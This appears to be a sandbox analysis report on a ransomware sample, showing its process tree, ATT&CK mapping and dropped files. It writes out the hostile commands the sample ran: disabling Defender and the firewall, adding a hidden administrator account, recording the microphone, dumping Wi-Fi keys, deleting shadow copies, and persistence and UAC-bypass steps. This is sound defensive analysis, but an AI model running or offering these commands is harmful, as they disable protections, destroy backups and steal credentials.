C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add10⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add11⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add11⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"10⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add8⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add9⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add9⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"8⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639275471472270978.wav')"8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add6⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add7⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add7⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"6⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add4⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add5⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add5⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639275471447583923.wav')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add2⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add3⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639275471388521221.wav')"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exeC:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\59458ffc-1f18-4380-9ef6-5b8c6d95bad7.inf2⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"2⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"3⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\abfcdd7d-374b-420a-be7f-de77d7409413.inf4⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"4⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"5⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\685bf188-e1f3-4b4e-ac96-f80f3dd60420.inf6⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"6⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"7⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"7⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\df229196-9051-4cbe-b617-abc7ae4b978a.inf8⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"8⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"9⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"9⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e2aba4fd-d18b-4dd2-afb2-496137352fb3.inf10⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"10⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"11⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"11⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0fdfe75d-6546-46ab-81c9-551a9c095007.inf12⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"12⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"13⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe"13⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\metadreamteam.io_ransome.exe" /sc onlogon /f14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ea194eb4-fdf7-41eb-a7a5-6d757833cdd6.inf14⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"14⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"15⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"14⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add12⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add13⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add13⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add10⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add11⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add11⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"10⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add8⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add9⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add9⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"8⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add6⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add7⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add7⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"6⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add4⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add5⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add5⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639275471436021138.wav')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete4⤵
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice4⤵
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add2⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add3⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639275471404302246.wav')"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create Account
1Local Account
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
DFBE70A7E5CC19A398EBF1B96859CE5D
History.stolen
Login Data.stolen
install.log
install.log
install.log
install.log
install.log
install.log
install.log
install.log
install.log
install.log
ModuleAnalysisCache
21a0d615-aef5-4a45-8201-ea046f3e5341.inf
__PSScriptPolicyTest_p4i4qa5e.xqg.ps1
b887e8ca-8313-4488-8255-c4662cc48306.inf
uac.bat
uac.bat
tcpmon.exe
config.dat
run.dat
invoice_2.pdf
memory/1544-31-0x00000280A2240000-0x00000280A2262000-memory.dmp
memory/1752-0-0x0000000000D50000-0x0000000000D60000-memory.dmp
memory/1752-286-0x000000001B920000-0x000000001B930000-memory.dmp
memory/3028-522-0x0000024A46E60000-0x0000024A46E61000-memory.dmp
memory/4880-1298-0x00007FFD47560000-0x00007FFD4758B000-memory.dmp
memory/8816-1300-0x00007FF6BBE70000-0x00007FF6BBEE1000-memory.dmp
memory/9208-1301-0x00007FFD46550000-0x00007FFD4657C000-memory.dmp
memory/11044-1296-0x00007FFD3C630000-0x00007FFD3C658000-memory.dmp
memory/11044-1295-0x00007FFD3A9D0000-0x00007FFD3A9E9000-memory.dmp